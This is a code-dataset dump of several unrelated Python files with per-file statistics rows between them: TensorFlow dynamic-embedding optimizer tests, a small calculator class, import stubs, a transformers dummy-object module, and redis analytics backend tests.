sp_ids, sp_weights=None, combiner="sum", return_trainable=True, ) pred = math_ops.matmul(test_var, x) trainables.clear() trainables.append(trainable) return pred * pred test_opt_op = test_opt.minimize(lambda: loss_fn(embeddings, trainables), var_fn) self.evaluate(variables.global_variables_initializer()) for _ in range(run_step): self.evaluate(test_opt_op) return embeddings.lookup(init_ids) test_opt_val = self.evaluate(test_fn()) self.assertAllCloseAccordingToType( base_opt_val, test_opt_val, msg="Cond:{},{},{},{},{},{}".format(num_shards, k_dtype, d_dtype, initial_mode, dim, run_step), ) class SafeEmbeddingLookupSparseTrainableV1Test(test.TestCase, CommonTrainableTestV1Base): @test_util.deprecated_graph_mode_only def common_minimize_trainable(self, base_opt, test_opt, name): de.enable_train_mode() base_opt = de.DynamicEmbeddingOptimizer(base_opt) test_opt = de.DynamicEmbeddingOptimizer(test_opt) id = 0 config = config_pb2.ConfigProto( allow_soft_placement=True, gpu_options=config_pb2.GPUOptions(allow_growth=True), ) for ( num_shards, k_dtype, d_dtype, initial_mode, dim, run_step, ) in itertools.product( [1, 2], [dtypes.int64], [ dtypes.float32, ], [ "constant", ], [1, 10], [10], ): with self.session(config=config, use_gpu=test_util.is_gpu_available()): id += 1 raw_init_ids = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] raw_init_vals = [ [ x, ] * dim for x in [0.0, 0.1, 0.3, 0.8, 0.16, 0.25, 0.36, 0.49, 0.64, 0.81] ] raw_ids = constant_op.constant([1, 3, 3, 9], dtype=k_dtype) sp_ids = sparse_tensor.SparseTensor( indices=[ [0, 0], [0, 1], [1, 0], [2, 1], ], values=raw_ids, dense_shape=[3, 2], ) x = constant_op.constant([[_x * dim] for _x in [[0.4], [0.5], [0.6]]], dtype=d_dtype) x = array_ops.reshape(x, shape=(3 * dim, 1)) # base var prepare base_var = variables.Variable( np.array(raw_init_vals).reshape([len(raw_init_ids), dim]), dtype=d_dtype, shape=[len(raw_init_ids), dim], ) base_embedding = embedding_ops.safe_embedding_lookup_sparse( base_var, sp_ids, None, combiner="sum") base_embedding = array_ops.reshape(base_embedding, shape=[1, 3 * dim]) pred0 = math_ops.matmul(base_embedding, x) loss0 = pred0 * pred0 base_opt_op = base_opt.minimize(loss0, var_list=[base_var]) # test var prepare embeddings = de.get_variable( "s6030-" + name + str(id), key_dtype=k_dtype, value_dtype=d_dtype, devices=_get_devices() * num_shards, initializer=1.0, dim=dim, ) self.device_check(embeddings) init_ids = constant_op.constant(raw_init_ids, dtype=k_dtype) init_vals = constant_op.constant(raw_init_vals, dtype=d_dtype) init_op = embeddings.upsert(init_ids, init_vals) self.evaluate(init_op) # test branch test_var, trainable = de.safe_embedding_lookup_sparse( embeddings, sp_ids, sparse_weights=None, combiner="sum", return_trainable=True, ) pred1 = math_ops.matmul(array_ops.reshape(test_var, shape=[1, 3 * dim]), x) loss1 = pred1 * pred1 test_opt_op = test_opt.minimize(loss1, var_list=[trainable]) self.evaluate(variables.global_variables_initializer()) self.assertAllCloseAccordingToType( np.array(raw_init_vals).reshape([len(raw_init_ids), dim]), self.evaluate(base_var), ) # run base for _ in range(run_step): self.evaluate(base_opt_op) # Run `run_step` step of sgd for _ in range(run_step): self.evaluate(test_opt_op) table_var = array_ops.reshape(embeddings.lookup(init_ids), shape=[10, dim]) # Validate updated params self.assertAllCloseAccordingToType( self.evaluate(base_var), self.evaluate(table_var), msg="Cond:{},{},{},{},{}".format(num_shards, k_dtype, d_dtype, dim, run_step), ) class SafeEmbeddingLookupSparseTrainableV2Test(test.TestCase, CommonTrainableTestV2Base): def common_minimize_trainable_v2(self, base_opt, test_opt, name): de.enable_train_mode() tf.config.set_soft_device_placement(True) base_opt = de.DynamicEmbeddingOptimizer(base_opt) test_opt = de.DynamicEmbeddingOptimizer(test_opt) id = 0 for ( num_shards, k_dtype, d_dtype, initial_mode, dim, run_step, ) in itertools.product( [1, 2], [ dtypes.int64, ], [ dtypes.float32, ], [ "constant", ], [1, 10], [10], ): id += 1 raw_init_ids = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] raw_init_vals = [[ x, ] * dim for x in [0.0, 0.1, 0.3, 0.8, 0.16, 0.25, 0.36, 0.49, 0.64, 0.81]] raw_ids = constant_op.constant([1, 3, 3, 9], dtype=k_dtype) sp_ids = sparse_tensor.SparseTensor( indices=[ [0, 0], [0, 1], [1, 0], [2, 1], ], values=raw_ids, dense_shape=[3, 2], ) x = constant_op.constant([[_x * dim] for _x in [[0.4], [0.5], [0.6]]], dtype=d_dtype) x = array_ops.reshape(x, shape=(dim, -1)) # # base graph def base_fn(): embeddings = variables.Variable( np.array(raw_init_vals).reshape([len(raw_init_ids), dim]), dtype=d_dtype, shape=[len(raw_init_ids), dim], ) def loss_fn(emb): embedding = embedding_ops.safe_embedding_lookup_sparse(emb, sp_ids, None, combiner="sum") pred0 = math_ops.matmul(embedding, x) return pred0 * pred0 base_opt_op = base_opt.minimize(lambda: loss_fn(embeddings), [embeddings]) self.evaluate(variables.global_variables_initializer()) for _ in range(run_step): self.evaluate(base_opt_op) return embeddings base_opt_val = self.evaluate(base_fn()) def test_fn(): embeddings = de.get_variable( "s6030-v2-" + name + str(id), key_dtype=k_dtype, value_dtype=d_dtype, devices=_get_devices() * num_shards, initializer=1.0, dim=dim, ) self.device_check(embeddings) init_ids = constant_op.constant(raw_init_ids, dtype=k_dtype) init_vals = constant_op.constant(raw_init_vals, dtype=d_dtype) self.evaluate(embeddings.upsert(init_ids, init_vals)) trainables = [] def var_fn(): return trainables def loss_fn(emb, trainables): test_var, trainable = de.safe_embedding_lookup_sparse( emb, sp_ids, sparse_weights=None, combiner="sum", return_trainable=True, ) pred = math_ops.matmul(test_var, x) trainables.clear() trainables.append(trainable) return pred * pred test_opt_op = test_opt.minimize(lambda: loss_fn(embeddings, trainables), var_fn) self.evaluate(variables.global_variables_initializer()) for _ in range(run_step): self.evaluate(test_opt_op) return embeddings.lookup(init_ids) test_opt_val = test_fn() self.assertAllCloseAccordingToType( base_opt_val, test_opt_val, msg="Cond:{},{},{},{},{},{}".format(num_shards, k_dtype, d_dtype, initial_mode, dim, run_step), ) @test_util.deprecated_graph_mode_only class TrainDynamicEmbeddingInMonitoredTrainingSessionTest(test.TestCase): """Tests Training in MonitoredTrainingSession.""" def device_check(self, de): if test_util.is_gpu_available(): self.assertTrue("GPU" in de.tables[0].resource_handle.device.upper()) def test_saving_restoring_checkpoint(self): logdir = _test_dir(self.get_temp_dir(), "test_saving_restoring_checkpoint") with ops.Graph().as_default(): gstep = training_util.create_global_step() do_step = state_ops.assign_add(gstep, 1) v0 = variables.Variable(10.0, name="v0") v1 = variables.Variable(20.0, name="v1") target_values = [[0.0], [1.0], [2.0]] keys = array_ops.placeholder(dtypes.int64) values = constant_op.constant(target_values, dtypes.float32) table = de.Variable( key_dtype=dtypes.int64, value_dtype=dtypes.float32, initializer=-1.0, name="m100", dim=1, ) upsert_op = table.upsert(keys, values) lookup_op = table.lookup(keys) size_op = table.size() with monitored_session.MonitoredTrainingSession( config=default_config, is_chief=True, checkpoint_dir=logdir) as sess: self.assertEqual(0, sess.run(gstep)) self.assertEqual(1, sess.run(do_step)) self.assertEqual(2, sess.run(do_step)) # Check that the parameter nodes have been initialized. self.assertEqual(10.0, sess.run(v0)) self.assertEqual(20.0, sess.run(v1)) self.assertAllEqual(0, sess.run(size_op)) sess.run(upsert_op, feed_dict={keys: [0, 1, 2]}) self.assertAllEqual(3, sess.run(size_op)) self.device_check(table) # A restart will find the checkpoint and recover automatically. with monitored_session.MonitoredTrainingSession( config=default_config, is_chief=True, checkpoint_dir=logdir) as sess: self.assertEqual(2, sess.run(gstep)) self.assertAllEqual(3, sess.run(table.size())) self.assertAllEqual(target_values, sess.run(lookup_op, feed_dict={keys: [0, 1, 2]})) self.device_check(table) def common_minimize_trainable(self, base_opt, test_opt, name): de.enable_train_mode() base_opt = de.DynamicEmbeddingOptimizer(base_opt) test_opt = de.DynamicEmbeddingOptimizer(test_opt) id = 0 for ( num_shards, k_dtype, d_dtype, initial_mode, dim, run_step, ) in itertools.product( [3], [dtypes.int64], [ dtypes.float32, ], [ "constant", ], [1, 10], [10], ): with ops.Graph().as_default(): id += 1 raw_init_ids = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] raw_init_vals = [ [ x, ] * dim for x in [0.0, 0.1, 0.3, 0.8, 0.16, 0.25, 0.36, 0.49, 0.64, 0.81] ] raw_ids = constant_op.constant([1, 3, 3, 9], dtype=k_dtype) sp_ids = sparse_tensor.SparseTensor( indices=[ [0, 0], [0, 1], [1, 0], [2, 1], ], values=raw_ids, dense_shape=[3, 2], ) x = constant_op.constant([[_x * dim] for _x in [[0.4], [0.5], [0.6]]], dtype=d_dtype) x = array_ops.reshape(x, shape=(3 * dim, 1)) # base var prepare base_var = variables.Variable( np.array(raw_init_vals).reshape([len(raw_init_ids), dim]), dtype=d_dtype, shape=[len(raw_init_ids), dim], ) # test var prepare embeddings = de.get_variable( "t1030-" + name + str(id), key_dtype=k_dtype, value_dtype=d_dtype, devices=_get_devices() * num_shards, initializer=1.0, dim=dim, ) init_ids = constant_op.constant(raw_init_ids, dtype=k_dtype) init_vals = constant_op.constant(raw_init_vals, dtype=d_dtype) init_op = embeddings.upsert(init_ids, init_vals) # base branch base_embedding = embedding_ops.embedding_lookup_sparse(base_var, sp_ids, None, combiner="sum") base_embedding = array_ops.reshape(base_embedding, shape=[1, 3 * dim]) pred0 = math_ops.matmul(base_embedding, x) loss0 = pred0 * pred0 base_opt_op = base_opt.minimize(loss0, var_list=[base_var]) # test branch test_var, trainable = de.embedding_lookup_sparse( embeddings, sp_ids, sp_weights=None, combiner="sum", return_trainable=True, ) pred1 = math_ops.matmul(array_ops.reshape(test_var, shape=[1, 3 * dim]), x) loss1 = pred1 * pred1 gstep = training_util.create_global_step() test_opt_op = test_opt.minimize(loss1, var_list=[trainable], global_step=gstep) table_var = array_ops.reshape(embeddings.lookup(init_ids), shape=[10, dim]) with monitored_session.MonitoredTrainingSession( is_chief=True, config=default_config) as sess: sess.run(init_op) self.assertAllCloseAccordingToType( np.array(raw_init_vals).reshape([len(raw_init_ids), dim]), sess.run(base_var), ) # run base for _ in range(run_step): sess.run(base_opt_op) sess.run(test_opt_op) # Validate global_step self.assertEqual(run_step, sess.run(gstep)) # Validate updated params self.assertAllCloseAccordingToType( sess.run(base_var), sess.run(table_var), msg="Cond:{},{},{},{},{}".format(num_shards, k_dtype, d_dtype, dim, run_step), ) self.device_check(embeddings) def test_adam_minimize_trainable(self): base_opt = adam.AdamOptimizer(0.1) test_opt = adam.AdamOptimizer(0.1) self.common_minimize_trainable(base_opt, test_opt, name="adam") def test_adagrad_minimize_trainable(self): base_opt = adagrad.AdagradOptimizer(0.1) test_opt = adagrad.AdagradOptimizer(0.1) self.common_minimize_trainable(base_opt, test_opt, name="adagrad") @test_util.deprecated_graph_mode_only class ModelModeTest(test.TestCase): """Tests ModelMode.""" def test_check_ops_number(self): self.assertTrue(de.get_model_mode() == "train") de.enable_inference_mode() self.assertTrue(de.get_model_mode() == "inference") de.enable_train_mode() self.assertTrue(de.get_model_mode() == "train") for fn, assign_num, read_num in [(de.enable_train_mode, 1, 2), (de.enable_inference_mode, 0, 1)]: fn() embeddings = de.get_variable('ModeModeTest' + str(assign_num), key_dtype=dtypes.int64, value_dtype=dtypes.float32, devices=_get_devices(), initializer=1., dim=8) ids = constant_op.constant([0, 1, 2, 3, 4], dtype=dtypes.int64) test_var, trainable = de.embedding_lookup([embeddings], ids, return_trainable=True) _ = math_ops.add(test_var, 1) op_list = ops.get_default_graph().get_operations() op_list_assign = [ op.name for op in op_list if "AssignBeforeReadVariable" in op.name ] op_list_read = [op.name for op in op_list if "ReadVariableOp" in op.name] self.assertTrue(len(op_list_assign) == assign_num) self.assertTrue(len(op_list_read) == read_num) de.enable_train_mode() ops.reset_default_graph() def test_inference_numberic_correctness(self): train_pred = None infer_pred = None dim = 8 initializer = init_ops.random_normal_initializer(0.0, 0.001) raw_init_vals = np.random.rand(100, dim) for fn in [de.enable_train_mode, de.enable_inference_mode]: with ops.Graph().as_default(): fn() init_ids = constant_op.constant(list(range(100)), dtype=dtypes.int64) init_vals = constant_op.constant(raw_init_vals, dtype=dtypes.float32) with variable_scope.variable_scope("modelmode", reuse=variable_scope.AUTO_REUSE): embeddings = de.get_variable('ModelModeTest-numberic', key_dtype=dtypes.int64, value_dtype=dtypes.float32, devices=_get_devices() * 2, initializer=initializer, dim=dim) w = variables.Variable(1.0, name="w") _ = training_util.create_global_step() init_op = embeddings.upsert(init_ids, init_vals) ids = constant_op.constant([0, 1, 2, 3, 4], dtype=dtypes.int64) test_var, trainable = de.embedding_lookup([embeddings], ids, return_trainable=True) pred = math_ops.add(test_var, 1) * w loss = pred * pred opt = de.DynamicEmbeddingOptimizer(adagrad.AdagradOptimizer(0.1)) opt.minimize(loss) with monitored_session.MonitoredTrainingSession( is_chief=True, config=default_config) as sess: if de.get_model_mode() == de.ModelMode.TRAIN: sess.run(init_op) train_pred = sess.run(pred) elif de.get_model_mode() == de.ModelMode.INFERENCE: sess.run(init_op) infer_pred = sess.run(pred) de.enable_train_mode() ops.reset_default_graph() self.assertAllEqual(train_pred, infer_pred) if __name__ == "__main__": test.main()

34.596603

80

0.583083

5,748

48,885

4.670494

0.066458

0.027118

0.021307

0.02086

0.834277

0.781904

0.743686

0.718394

0.676227

0.657416

0

0.025299

0.316743

48,885

1,412

81

34.621105

0.77845

0.036023

0

0.711588

0

0.017588

0.005083

0

0.030043

1

0.052361

false

0

0.03176

0.00515

0.115021

0.000858

0

null

0

1

0

1

0

1

0

null

0

6

6b1f38d53c450be0c931a982e494dd906be85b0e

577

py

Python

Python/app.python/aula7/aula7b.py

jacksontenorio8/python

a484f019960faa5aa29177eff44a1bb1e3f3b9d0

[ "MIT" ]

null

Python/app.python/aula7/aula7b.py

jacksontenorio8/python

a484f019960faa5aa29177eff44a1bb1e3f3b9d0

[ "MIT" ]

null

Python/app.python/aula7/aula7b.py

jacksontenorio8/python

a484f019960faa5aa29177eff44a1bb1e3f3b9d0

[ "MIT" ]

null

class Calculadora: def __init__(self): pass#init não pode estar vazio por isso foi digitado pass def soma(self, valorA, valorB): return valorA + valorB def subtracao(self, valorA, valorB): return valorA - valorB def multiplicacao(self, valorA, valorB): return valorA * valorB def divisao(self, valorA, valorB): return valorA / valorB calculadora = Calculadora() print(calculadora.soma(10, 2)) print(calculadora.subtracao(5, 3)) print(calculadora.multiplicacao(10, 5)) print(calculadora.divisao(100, 2))

25.086957

65

0.67591

70

577

5.514286

0.385714

0.248705

0.165803

0.227979

0.375648

0.287565

0

0.026906

0.227036

577

23

66

25.086957

0.838565

0.090121

0

1

0.3125

false

0.0625

0

0.25

0.625

0.25

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

86b25519b22d043d3759460f67647681d79fc45a

59

py

Python

stable_baselines_custom/trpo_mpi/__init__.py

iamlab-cmu/stable-baselines

6e9a8b2ad1d690bd9a9611405e4f319a52101540

[ "MIT" ]

null

stable_baselines_custom/trpo_mpi/__init__.py

iamlab-cmu/stable-baselines

6e9a8b2ad1d690bd9a9611405e4f319a52101540

[ "MIT" ]

null

stable_baselines_custom/trpo_mpi/__init__.py

iamlab-cmu/stable-baselines

6e9a8b2ad1d690bd9a9611405e4f319a52101540

[ "MIT" ]

null

from stable_baselines_custom.trpo_mpi.trpo_mpi import TRPO

29.5

58

0.898305

10

59

4.9

0.7

0.285714

0

0.067797

59

1

59

0.890909

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

86badb8746003659c2c8d486ff968ef1066efb2d

908

py

Python

src/transformers/utils/dummy_timm_and_vision_objects.py

bhavika/transformers

65cf33e7e53cd46313f3655f274b3f6ca0fd679d

[ "Apache-2.0" ]

31

2022-02-02T13:13:41.000Z

2022-03-29T08:37:20.000Z

src/transformers/utils/dummy_timm_and_vision_objects.py

bhavika/transformers

65cf33e7e53cd46313f3655f274b3f6ca0fd679d

[ "Apache-2.0" ]

2

2022-03-14T10:13:16.000Z

2022-03-14T11:50:27.000Z

src/transformers/utils/dummy_timm_and_vision_objects.py

bhavika/transformers

65cf33e7e53cd46313f3655f274b3f6ca0fd679d

[ "Apache-2.0" ]

2

2022-03-21T04:32:39.000Z

2022-03-22T01:02:49.000Z

# This file is autogenerated by the command `make fix-copies`, do not edit. # flake8: noqa from ..file_utils import DummyObject, requires_backends DETR_PRETRAINED_MODEL_ARCHIVE_LIST = None class DetrForObjectDetection(metaclass=DummyObject): _backends = ["timm", "vision"] def __init__(self, *args, **kwargs): requires_backends(self, ["timm", "vision"]) class DetrForSegmentation(metaclass=DummyObject): _backends = ["timm", "vision"] def __init__(self, *args, **kwargs): requires_backends(self, ["timm", "vision"]) class DetrModel(metaclass=DummyObject): _backends = ["timm", "vision"] def __init__(self, *args, **kwargs): requires_backends(self, ["timm", "vision"]) class DetrPreTrainedModel(metaclass=DummyObject): _backends = ["timm", "vision"] def __init__(self, *args, **kwargs): requires_backends(self, ["timm", "vision"])

25.942857

75

0.685022

96

908

6.166667

0.416667

0.135135

0.189189

0.216216

0.626689

0

0.001326

0.169604

908

34

76

26.705882

0.78382

0.094714

0

0.666667

1

0

0.09768

0

1

0.222222

false

0

0.055556

0

0.722222

0

null

0

1

0

1

0

1

0

null

0

1

0

1

0

6

86c0ef216a6e479bea7864317e5c3e1c5dba520b

493

py

Python

kivent/modules/core/kivent_core/systems/__init__.py

WeilerWebServices/Kivy

54e3438156eb0c853790fd3cecc593f09123f892

[ "MIT" ]

null

kivent/modules/core/kivent_core/systems/__init__.py

WeilerWebServices/Kivy

54e3438156eb0c853790fd3cecc593f09123f892

[ "MIT" ]

null

kivent/modules/core/kivent_core/systems/__init__.py

WeilerWebServices/Kivy

54e3438156eb0c853790fd3cecc593f09123f892

[ "MIT" ]

null

from kivent_core.systems import gamesystem from kivent_core.systems import staticmemgamesystem from kivent_core.systems import scale_systems from kivent_core.systems import gameview from kivent_core.systems import rotate_systems from kivent_core.systems import color_systems from kivent_core.systems import position_systems from kivent_core.systems import gamemap from kivent_core.systems import renderers from kivent_core.systems import lifespan from kivent_core.systems import animation_sys

41.083333

51

0.888438

71

493

5.943662

0.239437

0.260664

0.364929

0.547393

0.770142

0.322275

0

0.089249

493

11

52

44.818182

0.939866

0

1

0

true

0

1

0

1

0

null

1

0

null

0

1

0

1

0

1

0

6

86fadf904682c411413ad9488be6cd7200f1ac99

50,386

py

Python

tests/analytics/backends/redis_test.py

educreations/py-analytics

abbc814925c6cc200b3329c7de9f1868e1cb8c01

[ "Apache-2.0" ]

10

2015-01-25T20:29:55.000Z

2020-12-08T21:35:09.000Z

tests/analytics/backends/redis_test.py

educreations/py-analytics

abbc814925c6cc200b3329c7de9f1868e1cb8c01

[ "Apache-2.0" ]

3

2018-05-15T06:28:20.000Z

2021-03-30T17:47:45.000Z

tests/analytics/backends/redis_test.py

educreations/py-analytics

abbc814925c6cc200b3329c7de9f1868e1cb8c01

[ "Apache-2.0" ]

6

2017-07-03T16:28:29.000Z

2020-06-15T19:10:45.000Z

from __future__ import absolute_import from nose.tools import ok_, eq_, raises, set_trace from analytics import create_analytic_backend import datetime import itertools class TestRedisAnalyticsBackend(object): def setUp(self): self._backend = create_analytic_backend({ "backend": "analytics.backends.redis.Redis", "settings": { "hosts": [{"db": 3}, {"db": 4}, {"db": 5}] }, }) self._redis_backend = self._backend.get_backend() #clear the redis database so we are in a consistent state self._redis_backend.flushdb() def tearDown(self): self._redis_backend.flushdb() def test_track_metric(self): user_id = 1234 metric = "badge:25" datetime_obj = datetime.datetime(year=2012, month=1, day=1) ok_(self._backend.track_metric(user_id, metric, datetime_obj)) keys = self._redis_backend.keys() #flatten list to lists incase we have a cluster of redis servers keys = list(itertools.chain.from_iterable(keys)) keys.sort() eq_(len(keys), 3) daily = self._redis_backend.hgetall(keys[2]) weekly = self._redis_backend.hgetall(keys[1]) aggregated = self._redis_backend.get(self._backend._prefix + ":" + "analy:%s:count:%s" % (user_id, metric, )) #each metric should be at 1 [eq_(int(value), 1) for value in daily.values()] [eq_(int(value), 1) for value in weekly.values()] eq_(int(aggregated), 1) #each hash should only have one key eq_(len(daily.keys()), 1) eq_(len(weekly.keys()), 2) #try incrementing by the non default value ok_(self._backend.track_metric(user_id, metric, datetime_obj, inc_amt=3)) keys = self._redis_backend.keys() #flatten list to lists incase we have a cluster of redis servers keys = list(itertools.chain.from_iterable(keys)) keys.sort() eq_(len(keys), 3) daily = self._redis_backend.hgetall(keys[2]) weekly = self._redis_backend.hgetall(keys[1]) aggregated = self._redis_backend.get(self._backend._prefix + ":" + "analy:%s:count:%s" % (user_id, metric, )) #each metric should be at 4 [eq_(int(value), 4) for value in daily.values()] [eq_(int(value), 4) for value in weekly.values()] eq_(int(aggregated), 4) def test_track_count(self): user_id = 1234 metric = "badge:25" ok_(self._backend.track_count(user_id, metric)) keys = self._redis_backend.keys() #flatten list to lists incase we have a cluster of redis servers keys = list(itertools.chain.from_iterable(keys)) eq_(len(keys), 1) aggregated = self._redis_backend.get(self._backend._prefix + ":" + "analy:%s:count:%s" % (user_id, metric, )) #count should be at 1 eq_(int(aggregated), 1) #try incrementing by the non default value ok_(self._backend.track_count(user_id, metric, inc_amt=3)) keys = self._redis_backend.keys() #flatten list to lists incase we have a cluster of redis servers keys = list(itertools.chain.from_iterable(keys)) eq_(len(keys), 1) aggregated = self._redis_backend.get(self._backend._prefix + ":" + "analy:%s:count:%s" % (user_id, metric, )) #count should be at 4 eq_(int(aggregated), 4) def test_get_count(self): user_id = 1234 metric = "badge:25" ok_(self._backend.track_count(user_id, metric)) keys = self._redis_backend.keys() #flatten list to lists incase we have a cluster of redis servers keys = list(itertools.chain.from_iterable(keys)) eq_(len(keys), 1) count = self._backend.get_count(user_id, metric) #count should be at 1 eq_(count, 1) #try incrementing by the non default value ok_(self._backend.track_count(user_id, metric, inc_amt=3)) keys = self._redis_backend.keys() #flatten list to lists incase we have a cluster of redis servers keys = list(itertools.chain.from_iterable(keys)) eq_(len(keys), 1) count = self._backend.get_count(user_id, metric) #count should be at 4 eq_(count, 4) def test_get_count_invalid_key(self): user_id = 1234 metric = "badge:25" keys = self._redis_backend.keys() #flatten list to lists incase we have a cluster of redis servers keys = list(itertools.chain.from_iterable(keys)) eq_(len(keys), 0) count = self._backend.get_count(user_id, metric) #count should be at 0 eq_(count, 0) def test_get_counts(self): user_id = 1234 metric = "badge:25" metric2 = "badge:26" does_not_exist = "key:does:not:exist" ok_(self._backend.track_count(user_id, metric)) keys = self._redis_backend.keys() #flatten list to lists incase we have a cluster of redis servers keys = list(itertools.chain.from_iterable(keys)) eq_(len(keys), 1) #try incrementing by the non default value ok_(self._backend.track_count(user_id, metric2, inc_amt=3)) keys = self._redis_backend.keys() #flatten list to lists incase we have a cluster of redis servers keys = list(itertools.chain.from_iterable(keys)) eq_(len(keys), 2) counts = self._backend.get_counts([(user_id, metric,), (user_id, metric2,), (user_id, does_not_exist,)]) #check the counts for each of the metrics eq_(len(counts), 3) eq_(counts[0], 1) eq_(counts[1], 3) eq_(counts[2], 0) def test_get_counts_with_time_period(self): start_date = datetime.date(year=2012, month=4, day=6) end_date = datetime.date(year=2012, month=4, day=11) user_id = "user1234" metric = "badges:21" metric2 = "badge:22" ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=7), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=9), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric2, datetime.datetime(year=2012, month=4, day=11), inc_amt=2)) counts = self._backend.get_counts([(user_id, metric,), (user_id, metric2,)], start_date=start_date, end_date=end_date) #check the counts for each of the metrics eq_(len(counts), 2) eq_(counts[0], 4) eq_(counts[1], 2) def test_clear_all(self): user_id = 1234 metric = "badge:25" ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=7), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=9), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=5, day=11), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=6, day=18), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=30))) redis_client = self._backend.get_backend() #keys not matching the prefix should not be deleted redis_client.set("foo", "bar") ok_(not len(list(itertools.chain(*redis_client.keys()))) == 0) self._backend.clear_all() ok_(len(list(itertools.chain(*redis_client.keys()))) == 1) def test_get_closest_week(self): """ Gets the closest Monday to the provided date. """ date_april_1 = datetime.date(year=2012, month=4, day=1) date_april_2 = datetime.date(year=2012, month=4, day=2) date_april_7 = datetime.date(year=2012, month=4, day=7) date_april_8 = datetime.date(year=2012, month=4, day=8) date_april_9 = datetime.date(year=2012, month=4, day=9) monday_march_26 = datetime.date(year=2012, month=3, day=26) monday_april_2 = datetime.date(year=2012, month=4, day=2) monday_april_9 = datetime.date(year=2012, month=4, day=9) eq_(self._backend._get_closest_week(date_april_1), monday_march_26) eq_(self._backend._get_closest_week(date_april_2), monday_april_2) eq_(self._backend._get_closest_week(date_april_7), monday_april_2) eq_(self._backend._get_closest_week(date_april_8), monday_april_2) eq_(self._backend._get_closest_week(date_april_9), monday_april_9) def test_metric_by_month_over_several_months(self): user_id = 1234 metric = "badge:25" from_date = datetime.date(year=2012, month=4, day=2) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=7), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=9), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=5, day=11), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=6, day=18), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=30))) series, values = self._backend.get_metric_by_month(user_id, metric, from_date, limit=5) eq_(len(series), 5) eq_(values["2012-04-01"], 7) eq_(values["2012-05-01"], 2) eq_(values["2012-06-01"], 3) eq_(values["2012-07-01"], 0) eq_(values["2012-08-01"], 0) def test_metric_by_month_over_several_months_crossing_year_boundry(self): user_id = 1234 metric = "badge:25" from_date = datetime.date(year=2011, month=12, day=1) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=8), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=30), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=1, day=1), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=1, day=5), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=7))) series, values = self._backend.get_metric_by_month(user_id, metric, from_date, limit=6) eq_(len(series), 6) eq_(values["2011-12-01"], 6) eq_(values["2012-01-01"], 5) eq_(values["2012-02-01"], 0) eq_(values["2012-03-01"], 0) eq_(values["2012-04-01"], 1) eq_(values["2012-05-01"], 0) def test_metric_by_week_over_several_weeks(self): user_id = 1234 metric = "badge:25" from_date = datetime.date(year=2012, month=4, day=2) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=7), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=9), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=11), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=18), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=30))) series, values = self._backend.get_metric_by_week(user_id, metric, from_date, limit=5) eq_(len(series), 5) eq_(values["2012-04-02"], 4) eq_(values["2012-04-09"], 4) eq_(values["2012-04-16"], 3) eq_(values["2012-04-23"], 0) eq_(values["2012-04-30"], 1) def test_metric_by_week_over_several_weeks_crossing_year_boundry(self): user_id = 1234 metric = "badge:25" from_date = datetime.date(year=2011, month=12, day=1) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=8), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=30), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=1, day=1), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=1, day=5), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=7))) series, values = self._backend.get_metric_by_week(user_id, metric, from_date, limit=6) eq_(len(series), 6) eq_(values["2011-11-28"], 0) eq_(values["2011-12-05"], 4) eq_(values["2011-12-12"], 0) eq_(values["2011-12-19"], 0) eq_(values["2011-12-26"], 4) eq_(values["2012-01-02"], 3) def test_get_weekly_date_range(self): date = datetime.date(year=2011, month=11, day=1) result = self._backend._get_weekly_date_range(date, datetime.timedelta(weeks=12)) 